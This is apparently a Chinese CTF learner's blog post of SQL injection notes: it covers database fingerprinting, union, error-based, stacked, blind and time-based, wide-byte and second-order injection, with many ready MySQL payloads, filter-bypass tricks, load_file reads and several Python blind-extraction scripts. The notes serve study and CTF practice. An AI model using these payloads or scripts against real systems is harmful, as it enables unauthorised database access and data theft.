突然发现好久没写博客了,赶紧水一篇(雾)
三编
 
该文稍微总结一下我遇到过的sql注入(非常基础非常萌新,没学过的都能看得懂…吗?)
 
 SQL漏洞成因  
程序没有对用户的输入进行过滤。
例如SQL的查询语句可能是:
1 select user_id,user_name,user_type_email from users where user_id='$id' and password = '$password' 
 
id和password是我们可输入的参数
在进行数据库查询时由于没有过滤单引号,我们输入1’和任意的密码时,语句会变成:
1 select user_id,user_name,user_type,email from users where user_id='1'' and password = '123132132' 
 
由于sql语法中单引号必须成对存在,所以这条查询语句中1’后面的单引号会和前面的单引号闭合,导致后面的单引号变得多余了,这条语句就会报错,一般报错的内容就是:
1 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1' at line 1 
 
此时我们只需要将前面的单引号闭合,在后面插入我们想要查询的语句,就能够进行SQL的注入了
 SQL注入点  
挖掘sql注入的第一步就是要发现sql注入,只有发现了注入点才能够继续利用
所有和数据库有交互的地方都有可能存在sql注入,所以要根据数据包的发包情况,来关注可能那些数据会和数据库交互 
首先看url 是否有?id=1这种,如果有的话有可能是SQL注入
 
然后就是给你一个框框,有可能是搜索用户名,也有可能是登录框,让你输入账号密码登录,也有可能是让你查询一段内容…
 
然后就是http头,包括user-agent,cookie,referer,xff(有些flask的也经常用X-Forwarded-For)
 
 
具体来说看一个发的包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /?id=homePage HTTP/1.1 Host: www.netspi.com Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 X-Server-Name: PROD Cookie: user=harold; Content-Type: application/x-www-form-urlencoded username=harold&email=harold@netspi.com 
 
一些可能会和数据库交互的地方:
1 2 3 4 5 6 /?id=homePage Host: www.netspi.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 X-Server-Name: PROD Cookie: user=harold; username=harold&email=harold@netspi.com 
 
对于json格式的包,可以通过添加单双引号来破坏掉json格式:
具体做法就是添加单双引号
 
 注入检测  
输入特殊字符是否抛出异常 
输入语句是否会返回预期的结果等 
 
 
 数据库识别  
除了发现SQL注入的洞以外,你还要判断是哪种类型的数据库,不可能指望所有服务器都是mysql吧
一般来说可以利用数据库特有的函数来进行判断
或者是各种数据库的休眠函数
 
 mysql  
特有的注释符空格--空格
描述 
语句 
 
 
SLEEP函数 
page.php?id=1'-SLEEP(1)=0 LIMIT 1 -- 
 
BENCHMARK函数 
page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 -- 
 
字符串连接(注意有个空格) 
page.php?id=' 'mysql' -- 或者page.php?id=' and concat('some','string') 
 
版本信息 
select @@version 或者select version() 
 
错误消息(根据返回的错误信息判断) 
page.php?id=' 
 
特有函数 
select connection_id() select last_insert_id() select row_count() 
 
 
 oracle  
默认表
page.jsp?id='UNION SELECT 1 FROM v$version -- 
select banner FROM v$version 
select banner FROM v$version WHERE rownum=1 
 
报错信息
 mssql  
mssql的特性也挺多的:
描述 
语句 
 
 
WAITFOR函数 
page.asp?id=';WAITFOR DELAY '00:00:10'; -- 
 
堆叠查询默认变量 
page.asp?id=sql'; SELECT @@SERVERNAME -- 
 
报错信息 
page.asp?id=' 
 
报错信息(利用@@SERVERNAME) 
page.asp?id=@@SERVERNAME 
 
报错信息 
page.asp?id=0/@@SERVERNAME 
 
常量 
@@pack_received或者@@rowcount 
 
 
 postgreSQL/PGSQL  
page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a
 一些页面  
1 2 3 4 asp => mssql、access aspx => mssql php => mysql、postgresql java => mysql、oracle、mssql 
 
 一些端口  
1 2 3 4 oracle => 1521 mssql => 1433 mysql => 3306 postgresql => 5432 
 
 数据库特有函数  
1 2 3 4 pg_sleep() => postgresql benchmark() => mysql waitfor delay => mssql DBMS_PIPE.RECEIVE_MESSAGE() => oracle 
 
 特殊符号  
1 2 ; => 字句查询标识符,postgresql、mssql 默认可堆叠查询 # => Mysql 注释符 
 
 特殊表名  
1 2 3 4 5 6 information_schema => mssql,postgresql,mysql pg_tables => postgresql sysobjects => mssql all_tables,user_tables => oracle #oracle或许可以加多个dual 
 
还可以根据特殊的报错banner信息来判断
SQL Injection | pentestmonkey (gm7.org) 
虽然是生肉,但是里面有很多sql的trick
 SQL注入类型(?存疑)  
分为字符型和数字型两种
判断方式也很简单:
1 2 3 4 5 6 ?id=1 and 1=1  //不报错 ?id=1 and 1=2  //报错 //说明是数字型注入 因为后台语句为 select * from <column_name> where id = x 
 
1 2 3 4 5 ?id=1' and '1'='1 //不报错 ?id=1' and '1'='2 //报错 //说明为字符型注入 因为此时后台语句为 select * from <column_name> where id='x' 
 
虽然但是我这一步好像从来没判断过,直接加个单引号注入的… 
所以有些不用加单引号的题就比较容易吃亏 
 Mysql  
一些常用函数、注释符
1 2 3 4 5 6 7 8 9 10 11 #注释符 #(% 23 ) 用于单行注释,由于在url中,#表示anchor,也就是锚点。带上#的时候是不会请求后端路由而是刷新前端路由。所以要变成url编码的% 23  + 上面这三个都是单行注释符,注意 加号是因为URL中加号会被解码为空格 内联注释,一般用于绕waf、替代空格 
 
一些常用的运算符,加减乘除取余那些就不说了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <>或者!= 就是不等于 BETWEEN 这个后面讲,在二者之间 NOT BETWEEN 就是不在二者之间 IN 在集合中 NOT IN 不在集合中 <=> 严格比较两个NULL值是否相等 LIKE 模糊匹配 REGEXP 正则表达式匹配 RLIKE = REGEXP IS NULL 为空 NOT NULL 非空 
 
 查看全局变量  
1 2 SHOW  GLOBAL  VARIABLES;SHOW  VARIABLES;
 
1 2 3 4 5 6 7 8 @@VERSION 返回版本信息 @@GLOBAL.VERSION = @@VERSION @@HOSTNAME 返回安装的计算机名称 @@BASEDIR 返回MYSQL的绝对路径 @@DATADIR 返回数据的路径 
 
 几个可利用的函数  
1 2 3 4 5 6 database() 返回数据库名,常用于注入 例如1' union select 1,database(),3# user() 获取当前执行命令的用户信息,和session_user() current_user()等效 version() 获取mysql数据库版本信息 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 ascii(str) 返回字符串中第一个字符的ascii的值,常用于盲注 ord(str) 与ascii一样 hex() 将字符串的十六进制返回 unhex() 反向hex bin() 返回二进制 oct() 八进制 conv(n, from_base, to_base) 将n从from_base进制转到to_base进制 CHAR(n) 将n解释为整数,然后返回对应整数在ascii中对应的字符 
 
 字符串截取操作函数  
常用于盲注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 substr(str, start , length) substring的简化版,返回str从start 开始的,长度为length的字符串。mysql中的第一个字符从1 开始 substring (str, start )substring (str, start , len)substring (str from  start )substring (str from  start  for  len)mid(str, pos, len) 同susbtr right (str, len) 对于指定字符串,从右端开始截取指定长度例如right ("www.baidu.com", 3 ) 返回com left (str, len) 对于指定字符串,从左端开始截取指定长度RPAD(str, len, padstr) 用于补齐 假如字符串长度< len,则用padstr补齐到str右端,直至str的长度为len 如果长度> len,就优先返回靠前的字符 例如RPAD("hello world", 5 , "***") 返回hello LPAD(str, len, padstr) 用于补齐 假如字符串长度< len,则用padstr补齐到str左端,直至str的长度为len 如果长度> len,就优先返回靠前的字符 例如LPAD("hello world", 5 , "***") 返回hello insert (str, pos, len, newstr) 在str中自左数第pos位开始,长度为len的字符串替换为newstr,然后返回经过替换后的字符串trim ([LEADING | BOTH | TRAILING ] rem_str FROM  str)从str的某个位置(LEADING  开头, BOTH 所有位置, TRAILING  末尾)移除rem_str 例如select  trim (leading  'x'  from  'xxxbarxxx' ) 会返回barxxx select  trim (both  'x'  from  'xxxbarxxx' )会返回bar select  trim (both  'x'  from  'xxxbarxxx' )会返回xxxbar 这个也可以用于盲注 
 
 字符串拼接操作  
常用的两个concat(),group_concat()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 concat(str1, str2) 将多个字符串str1, str2合并为一个字符串 concat_ws(separator, str1, str2) 和concat函数类似,只是通过分隔符separator将字符串连接在一起 group_concat(...) 返回一个字符串结果,该结果由逗号连接组合而成 make_set(bits, str1, str2,...) 根据bits转成二进制的结果,返回由逗号拼接而成的字符串 例如make_set(2 , 'a' , 'b' , 'c' , 'd' ) 2 的二进制是0010 ,故返回bmake_set(1 | 3 , 'a' , 'b' , 'c' , 'd' ) 1 | 3 的结果是0001 | 0010  结果是0011 ,对应第一位和第二位,返回a,b这个点可以用于盲注: EXP (MAKE_SET((LENGTH(DATABASE())> 8 )+ 1 ,'1' ,'710' ))根据返回的0 和1  加一之后就是1 和2 ,分别对应1 和710  如果对返回1 ,加1 后返回710 ,exp (710 )报错 否则正常 
 
 数据匹配操作  
1 2 3 4 5 6 = 全匹配 LIKE 匹配数据,%表示任意内容 REGEXP 正则匹配数据,^从前往后匹配,$从后往前匹配 RLIKE 同regexp regexp binary 正则匹配数据,区分大小写 
 
 条件函数  
1 2 3 4 5 6 7 8 9 10 if(expr, state1, state2)  如果expr为true ,执行state1,否则执行state2 case...when expr then  state1 else  state2 end  同if,case 和when 中间的...可以直接被省略 也就是下面的 case  when  expr then  state1 else  state2 end 这个的利用可以到宽字节注入的时候再看看,有个题就是用这个的 qsnctf的ezsql 鹏城杯的股份公司那题(那个时候太卡了,打不动一点) NULLIF (expr1, expr2),如果expr1与expr2相同,返回1 ,否则返回null 
 
 其他  
挑几个重要的,那些什么sleep,benchmark这些就不说了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 limit m,n 这个主要是我没怎么用过 查询结果从m开始取n个 load_file()读文件,支持16进制数,比如0x2f.... 支持ascii码,但是需要添加char函数,例如load_file(char(96,97)) 在读取内容不显示的情况下,可以利用hex函数 hex(load_file()) locate(substr, str) 返回substr在str中第一次出现的位置 position = locate lower() 将字符串全部转为小写 upper() 全大写 charset() 返回字符串使用的字符集 
 
流程:数据库 表名 列名 数据
如果没有想要的可以通过文件的读写操作来进一步检测,比如load_file,日志写shell这些
 mysql注入手法  
 1.联合查询  
非常常用的注入,适用于有回显位的注入(也就是会返回我们输入数据结果的位置)
首先判断字段数:
1 2 3 4 5 6 7 1' order by n# 1' order by n--+ 1' order by n'(某些过滤了#、--+等时常用) 或者直接利用and '1' ='1进行闭合,总之就是把后面的单引号闭合一下 其中n取自然数,当n回显正常且n+1回显异常时,字段数为n,假设字段为3 更新:这里的回显异常可能是直接报错,也有可能是一个返回空白 
 
然后判断回显位:
1 2 3 4 5 6 7 1' union select 1,2,3# 1' union select 1,2,3--+ 1' union select 1,2,3' 根据页面的信息观察回显位 比如Your name: 2 Your id: 3 即回显位为2和3 
 
爆库:(推荐使用-1,这是因为查询只会显示第一条结果,需要将union查询前面的内容置空)
首先查询database()、user()、version()
version用于查看数据库版本
版本 
手法说明 
 
 
MySQL < 5.0 
小于5.0,由于缺乏系统库information_schema,故通常情况下,无法直接找到表,字段等信息,只能通过猜解的方式来解决 直接猜库名,表名,列名,再使用联合查询,当然也可以使用布尔注入来猜解 
 
MySQL >= 5.0 
存在系统库information_schema,可直接查询到库名,表名,列名等信息 
 
 
查询当前数据库名
1 -1' union select 1,database(),3# 
 
查询所有数据库名
1 -1 ' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 -- - 
 
爆表:
1 -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# 
 
爆列名:
1 -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='你想要爆的表名'# 
 
爆内容:
1 -1' union select 1,group_concat(id,username,password),3 from column_name# 
 
当然也可以写成:
1 2 3 4 5 -1' union select 1,group_concat(id,'--',username,'--',password),3 from column_name# 这样子回显出来的结果会比较好看(因为有--分隔) 或者-1' union select 1,2,group_concat(0x7e,username,0x7e,password) from users-- - 这样会显出来的结果就是~username1~password1~username2~password2 0x7e和--是一个作用,分隔符 
 
 1.1 limit注入点  
如果注入点在limit之后,想要判断字段数的时候可以利用into @,@的手法,其中@为mysql的临时变量
1 2 3 4 5 6 7 假设字段数为2  select  *  from  user  limit @,@;回显User  variable name ''  is  illegal select  *  from  user  limit @,@,@;回显The used SELECT  statements have a different number of  columns 
 
然后可以利用procedure analyse进行报错注入
1 ... limit 0 ,4  procedure  analyse((select  extractvalue(1 ,concat(0x7e ,database())))) 
 
 2.报错注入  
报错注入适用于没有回显位的,但是页面有报错信息的时候
 2.1 group by 重复键冲   
反正我是看不懂:
1 and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)--+ 
 
其实就是group_by + rand + floor
 
updated in 2023/3/11 
extractvalue()的报错注入和updatexml还是有点不一样的:
1 1' || extractvalue(1,concat(0x7e,(select data from (output))))# 
 
 2.3 updatexml()   
与extractvalue()很相似,也是这三个里面最常用的:
1 1' and updatexml(1,concat('~',database()),3)# 
 
1 1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)# 
 
注意报错注入只能回显前32个字符,爆flag时可能需要添加reverse函数:
1 1' and updatexml(1,concat('~',(select(reverse(group_concat(text))) from wfy_comments)),3)# 
 
 2.4 exp、pow、溢出 :  
version: 5.5.5 - 5.5.49
1 2 3 4 5 select exp(~(select * from (select user())a)); select pow(2,~(select * from (select user())a)); select 1+(~(select * from (select user())a)); 
 
解释一下,这里是利用一层select user查询,把里面的结果取名为a
再利用select * from a将a取出
这里必须使用嵌套,因为不使用嵌套不加select from 无法大整数溢出。
 2.5 name_const :  
仅可获取version() 
查询数据库版本:
1 1' AND (select * from(select name_const(version(),0x1),name_const(version(),0x1))a) -- - 
 
 2.6 uuid :  
适用版本 8.0.x
1 2 select uuid_to_bin((database())); select bin_to_uuid((database())); 
 
 
 2.7 join   
利用重复查询相同表的方法来爆数据:
sql语句:
1 2 3 4 select * from(select * from 表 a join 表 b)c  //爆表的第一列 select * from(select * from 表 a join 表 b using(第一列列名))c //爆第二个列名 select * from(select * from 表 a join 表 b using(第一列列名,第二列列名))c //爆第三个列名 ... 
 
搭配报错注入:
1 2 3 4 5 6 1' || extractvalue(1,concat(0x7e,(select * from (select * from output a join output b)c)))# //爆出output表的第一个列名 回显:Duplicate column name 'data' 1' || extractvalue(1,concat(0x7e,(select * from (select * from output a join output b using(data))c)))# ... 
 
局限:必须要知道数据库跟表明的时候才能够利用join 
 2.8 gtid   
version >=5.7
仅一列,可以查user、version、database
1 2 select gtid_subset(user(),1); select gtid_subtract(user(),1); 
 
爆表名:
1 -1' union select 1,gtid_subset(group_concat((select group_concat(table_name) from information_schema.tables where table_schema=database())),1),3%23 
 
 
 
 2.9 polygon 等几何函数  
前提需要知道字段名:
爆当前查询语句的库、表、字段:
1 2 3 select flag from ctf where polygon(id); #Illegal non geometric '`test`. `ctf`.`id`' value select flag from ctf where polygon(flag); 
 
函数 
用法 
 
 
GeometryCollection() 
GeometryCollection((select * from (select* from(select user())a)b)) 
 
polygon() 
polygon((select * from(select * from(select user())a)b)) 
 
multipoint() 
multipoint((select * from(select * from(select user())a)b)) 
 
multilinestring() 
multilinestring((select * from(select * from(select user())a)b)) 
 
linestring() 
linestring((select * from(select * from(select user())a)b)) 
 
multipolygon() 
multipolygon((select * from(select * from(select user())a)b)) 
 
 
不常用,很少用
 2.10 st相关函数  
version>=5.7
1 2 3 select  ST_LatFromGeoHash(version());select  ST_LongFromGeoHash(version());select  ST_PointFromGeoHash(version(),0 );
 
 
1 -1' union select 1,ST_LongFromGeoHash((select group_concat(table_name) from information_schema.tables where table_schema=database())),3%23 
 
 2.11 利用不存在的函数  
可能会获得数据库的名称
 2.12 BIG INT  
当mysql数据库的某些边界数值进行运算的时候可能会产生报错
1 select !(select * from(select user())a)-~0; 
 
高版本已修
1 2 # 当前数据库的所有表名 1 ' AND !(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)-~0 -- - 
 
修复方法:
上waf,过滤掉能够造成报错注入的函数 
万能预处理语句 
不要在页面上 
 
 
 3.堆叠注入  
在SQL中(以及在很多的地方中),分号表示命令的分隔,也就是SQL语句的结束,如果使用;后再在后面构造SQL语句,两条是可以一起执行的,例如:
1 1';update users set password='123456' where id=1;# 
 
(此处可左转NewStarCTF week 3的multi SQL)
将id为1的密码更新为123456
使用条件:
1 2 $mysqli ->multi_query ($sql );
 
1 2 3 4 5  with  conn.cursor() as  cursor:                  cursor.execute('SELECT * FROM userinfo order by %s;'  % field)         res = cursor.fetchall() 
 
爆库:
 
爆表:
 
爆列:
 
查看内容:
1 1';handler `表名` open as `a`;handler `a` read next;# 
 
重命名:
1 2 3 4 rename table tb1 to tb3; rename table tb2 to tb1; alter table tb1 change column1 column2 char(100); 
 
如果update等被过滤,可以使用sql预处理语句进行拼接:
1 1';set @sql=concat('u','pdate `score` listen=99999 where username="火华"');prepare sql_exe from @sql;execute sql_exe;# 
 
1 ;set @sql=concat('s','elect', ' * from xxx');prepare sql_exe from @sql; execute sql_exe; 
 
 堆叠注入的绕过  
分号的过滤可以利用\G替代(待验证) 
如果查询语句(select)这些一直被过滤,可以考虑利用十六进制: 
 
1 ;sEt/**/@a=0x.....;PRepare/**/hello/**/from/**/@a;execute/**/hello;# 
 
此时就能执行我们的sql注入语句
盲注:
0xgame2023:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import  requestsimport  timeimport  binasciiurl = 'http://124.71.184.68:50021/?order=id'  res=""   for  i in  range (1 ,1000 ):     left=32      right=128      mid=(left + right) //2        while  (left < right):         turn = b"select if(ascii(substr((select (flag) from (flag)),%d,1))<%d,sleep(3.5),1);" %(i,mid)         turned = binascii.b2a_hex(turn)         turned = str (turned, 'utf-8' )         turned = "0x" +turned         payload = url+';sEt/**/@a=%s;PRepare/**/hello/**/from/**/@a;execute/**/hello;' %(turned)+"%23"            print (payload)         times = time.time()          html = requests.get(payload)         timee = time.time()          keep = timee - times          time.sleep(0.2 )          if  keep > 3.4 :             right = mid         else :             left = mid + 1          mid = (left + right) //2      if  mid <= 32  or  mid >= 127 :         break      res+=chr (mid-1 )     print (res) print ("Final Results:" ,res) 
 
 4.布尔盲注  
适用于页面只有两种回显结果,没有任何错误回显
HTTP状态响应码不同 
响应头变化(比如302,或者设置了cookie) 
报错(?) 
 
 4.1注入流程  
闭合SQL语句 
计算当前数据库名长度 
逐字节获取数据库名 
计算表的数量 
计算表名的长度 
逐字节获取表名 
计算列的数量 
计算列名的长度 
逐字节获取列名 
计算字段的数量 
计算字段内容的长度 
逐字节获取字段内容 
 
常用的几个函数在盲注派上用场了:ascii substr这些
1 2 3 4 5 6 7 8 1 ' and left(database(),1)=' s' -- - true 1'  and  left (database(),2 )= 'se'  1 ' and substr(database(),1,1)=' s' -- - true 1'  and  ascii(substr(database(),1 ,1 ))> 97  1 ' and ascii(substr(database(),1,1))>115 -- - false 1'  and  ascii(substr(database(),1 ,1 ))= 115  
 
有的时候也可以使用异或符号(页面有1和0的时候)
直接用脚本跑就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import  requestsimport  timeimport  sysurl="http://1189e07b-be07-49cc-9b96-af07b0b4f9b0.node4.buuoj.cn:81/search.php?id="  res=""   for  i in  range (1 ,1000 ):         left=32          right=128          mid=(left + right) //2            while  (left < right):                                                                                     payload = url+"1^(ascii(substr((select(reverse(group_concat(id,username,password)))from(F1naI1y)),%d,1))<%d)#" %(i,mid)                  html = requests.get(payload)                 print (payload)                 time.sleep(0.04 )                 if  "ERROR"  in  html.text:                          right = mid                  else :                         left = mid + 1                    mid = (left + right) // 2           if  mid <=32  or  mid >=127 :                 break           res += chr (mid-1 )          print (res)  print ("Final Result:" ,res)
 
 
 4.1 常用绕过  
left:
left(str, length) ,从左边开始截取长度为length的字符串,例如:
1 2 select left('www.baidu.com', 8) #www.baid 
 
与之对应的还有right,但是right是从右边往左截取的:
1 2 select right('www.baidu.com', 8) #aidu.com 
 
substring(str, index, length) ,截取特定长度的字符串,相当于substr
mid(str, index, length) ,同substr
strcmp() ,比较字符串:
1 2 3 4 5 6 select strcmp(12345, 123456); #-1 select strcmp(1234567, 123456); #1 select strcmp(123456, 123456); #1 
 
利用strcmp 代替等号:
1 2 where !strcmp(table_schema, 'ctf'); #相当于where table_schema='ctf'; 
 
between and 也有类似的效果:
1 where table_schema between 'ctf' and 'ctf' 
 
代替等号的还有in :
1 where table_schema in ('ctf') 
 
jacko神的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import  stringimport  requestsurl = "http://a.y1ng.vip:1119/"  data="password=&username='%2bstrcmp(left(hex((select group_concat(`1`) from (select 1,2 union select * from SeCrrreT)x)),{}),'{}')%23" .replace(' ' ,'/**/' ) result = ""  header = {     "Content-Type" :"application/x-www-form-urlencoded"  } length = 1  while  True :              for  i in  string.ascii_lowercase+string.digits+',_-{}' :         payload = data.format (length, result+i)         r = requests.post(url=url, data=payload,headers=header)                           if  'Admin'  in  r.text:             result = result+i             print (result)             length += 1              break      else :         break  
 
like、regexp :
regexp盲注:
1 (select database())regexp '^p'# 
 
rlike也是等效的
like:
没有%时,like可以代替等号
在有%时,等效于regexp
1 (select database())like 'p%'# 
 
绕过逗号 
1 2 3 4 5 select substr('test' from 1 for 2); select substring('test' from 1 for 2); 相当于 substr('test',1,2); 
 
利用trim 
1 select trim([both/leading/trailing]) 'x' from 'xxx'; 
 
1 2 select trim(leading 'a' from 'abc');--bc select trim(leading 'b' from 'abc');--abc 
 
 4.2 基于报错的布尔盲注  
exp :e的指数:
1 2 3 #当值大于709时就会报错: select exp(710); #ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)' 
 
利用:
 
它会返回一个大数18446744073709551615
同时,如果我们的语句执行成功的话就会return 0
所以:
1 2 SELECT ~(SELECT version()); #18446744073709551615 
 
我们这样的话
就能够利用了:
1 SELECT exp(~(select * from (select table_name from information_schema.tables where table_schema=database())x)); 
 
(转载)使用exp进行SQL报错注入 - lcamry - 博客园 (cnblogs.com) 
同理,能报错的还有:
cot(0) 
**pow()**乘方
 4.3基于正则的盲注  
regexp:
1 -1 ' or user() regexp ' ^ r'# 
 
 
或者
1 -1 ' or user() regexp(' ^ r')# 
 
再或者:
1 2 -1 ' or user() regexp 0x....# -1'  or  user () regexp(0 x...)#
 
 4.4 未知列明的盲注  
在知道表明不知道列名的情况下,可利用:
1 select  (select  'aaa' ,'666' )= (select  *  from  user  limit 1 );
 
类似这种方法进行匹配
 5.时间盲注  
延时注入,页面啥回显都没有的时候,我们需要观察页面的请求时间(
1 2 3 4 5 1'||if(ascii(substr(database(),1,1))<115,sleep(0.3),1)# //无延时 1'||if(ascii(substr(database(),1,1))<116,sleep(0.3),1)# //有延时 说明库的第一个字符对应为ascii码=115的字符 
 
编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import  requestsimport  timeurl=''  res=''  for  i in  range (1 ,100 ):    left = 32      right = 128      mid = (left + right) // 2      while (left < right):         payload = {                                                                          }         print (payload)         times = time.time()          html = requests.post(url,data=payload)         timee = time.time()          keep = timee - times          time.sleep(0.2 )          if  keep > 2 :             right = mid         else :             left = mid + 1          mid = (left + right) //2               if  mid <= 32  or  mid >= 127 :         break      res+=chr (mid-1 ) 	print (res) print ("Final Results:" ,res) 
 
根据注入类型的不同,前面的查询需要修改的(
 过滤sleep:  
benchmark() ,将表达式执行n次,我们可以利用重复执行多次表达式强行延长执行时间:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import  requestsimport  timeurl ='http://6b551a60-af9f-4f29-b3b4-689592d73faf.node4.buuoj.cn:81/index.php'  res=''  for  i in  range (1 ,100 ):    left = 32      right =128      mid = (left + right) // 2      while (left < right):         payload={             'username'  : 'a' ,                                       'password'  : "0'||if(ascii(mid((select(group_concat(cmd))from(flaggg)),%d,1))<%d,benchmark(3000000,md5(1)),1)||'" %(i,mid)             }         times = time.time()         html = requests.post(url,data=payload)         timee = time.time()         keep = timee-times         time.sleep(0.2 )         print (payload)         if  keep > 1.8 :             right = mid         else :             left = mid + 1          mid = (left + right) // 2      if  mid <=32  or  mid >= 127 :         break      res+=chr (mid-1 )     print (res) print ("Final Result:" ,res)
 
笛卡尔积 
非常的耗时:
1 select count(*) from imformation_schema.columns a, information_schema.columns b; 
 
如果count被过滤,可以换成其他的函数如avg, min ,max, sum
*如果被过滤,可以利用某一个字段代替:
如:
1 select max(A.TABLE_NAME) from information_schema.columns A, information_schema.columns B, information_schema.schemata; 
 
正则匹配,相当于新的sleep函数 
1 select rpad('a',99,'a') rlike concat(repeat('(a.*)+',30),'b'); 
 
例如:
1 id= 1 ' and if(mid(database(),1,1)=' s',(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),1)%23  
 
数据库的第一个字是s的话就执行笛卡尔积
 
肉眼可见的卡,非常的耗时,以至于最后直接把服务干爆了。尽量少用这个
 
就是利用上面的方式,换了个注入点…
例如user-agents(sqli-labs的less-18)
cookies
referer
X-Forwarded-For
 7.宽字节注入:  
宽字节是多个字节宽度(>1)的编码(GBK,gb2312…)
汉字就是宽字节编码
宽字节注入的成因:
数据库的编码和php的编码设置成了两个不同的编码,例如utf-8和gbk
此时如果利用addslashes转义,会使得我们多出一个\
要将反斜杠转义处理掉的方式有:
让(\)失去作用 
让(\)的编码和另一个编码组合成两字节的编码(使得反斜杠消失) 
 
第二种方法就是宽字节注入:
所以我们只需要在单引号前加上%df,此时转义后的反斜杠(%5c)与%df就会组成一个汉字:運(运的繁体,%df%5c)
用户输入1%df' or 1=1# 
addslashes转义:1%df\' or 1=1# 
gbk编码后:1運' or 1=1# 
 
也就是:
1 1%df' union select 1,2,3%23 
 
这个时候查询语句就会变成:
1 1運' union select 1,2,3%23 
 
剩下的只需要和联合查询一样的地方即可,在前面的单引号添加%df
在爆列名时:
1 2 3 4 5 1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='xxxx' 后面的单引号也会转义,这个时候我们可以将xxxx使用hex编码,然后0x 例如users=7573657273 就写成 1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 
 
1 2 3 4 5 6 7 $username  = addslashes ($_GET ['username' ]);if ($username ==='admin' ){    die ("no!" ); } else {    ... } 
 
假设有个表里面是采用Latin1字符集的,此时只需要输入:
?username=admin%c2
%00-%7f能够直接表示某个字符 ,但是%c2-%f4只能表示长字符编码后结果的首字节
这些字节(%c2-%f4)在进行转换时会被直接抛弃
某次比赛的宽字节盲注:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  requestsimport  stringdef  str2hex (string ):    result = ''      for  i in  string:         result += hex (ord (i))     result = result.replace('0x' , '' )     return  '0x'  + result strs = string.ascii_letters + string.digits + "{-}"   name = ''   for  j in  strs:    print (j)     passwd = str2hex('^'  + name + j) 	sel = "SELECT load_file(0x2f666c6167)"       payload = f"%df%27||(select case when(select {sel}  regexp binary {passwd} ) then 1 else 0 end)%23"      r = requests.get("http://192.168.201.3/index.php?key="  + payload, allow_redirects=False , proxies = {"http" :"127.0.0.1:8080" }) 
 
 8.二次注入  
第一次注册等操作没有注入点,但是第二次操作代入了第一次操作的语句,导致sql注入(
也就是说,我们提前构造好的语句成功储存进入数据库了,然后第二次操作(例如修改密码)中调用了第一次操作的语句,使得sql语句被执行
…
感觉好像还是没解释好,就是
第一次操作中,我们成功将sql语句储存入数据库中了
第二次操作中,数据库调用了该sql语句,导致sql语句被执行,形成二次注入(?)
 [RCTF2015] EasySQL  
例如该题就是二次注入:
 
需要我们注册一个账户:
尝试注册一个叫1’的账户,注册成功,此处没有注入点
 
发现能修改密码,这种先注册再修改密码的操作很可能有二次注入
发现同样没有任何问题…
可能是单引号的问题,尝试换成双引号再注册一个用户
 
然后修改密码,发现报错:
 
1 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" and pwd='c4ca4238a0b923820dcc509a6f75849b'' at line 1 
 
说明是双引号型的二次注入,并且有报错,可以使用报错注入:
1 2 注册账户: 1" and updatexml(1,concat('~',database()),3)# 
 
回显 invalid string,说明有过滤
 
可能是过滤了空格,所以我们使用括号替代空格:
1 1"and(updatexml(1,concat('~',database()),3))# 
 
发现还是回显invalid string
所以有可能也过滤了and,使用&&替代空格:
1 1"&&(updatexml(1,concat('~',database()),3))# 
 
注册成功,然后修改密码
 
爆出库名web_sqli
 
注册用户
1 1"&&updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),3)# 
 
然后修改密码,爆出表名:article flag users
 
注册用户
1 1"&&updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),3)# 
 
然后修改密码,爆列名
 
 
注册用户
1 1"&&updatexml(1,concat('~',(select(group_concat(flag))from(flag))),3)# 
 
爆flag
 
发现flag并不在flag表内,回去看users表:
1 1"&&updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),3)# 
 
 
发现real_flag_1s_her
然后尝试
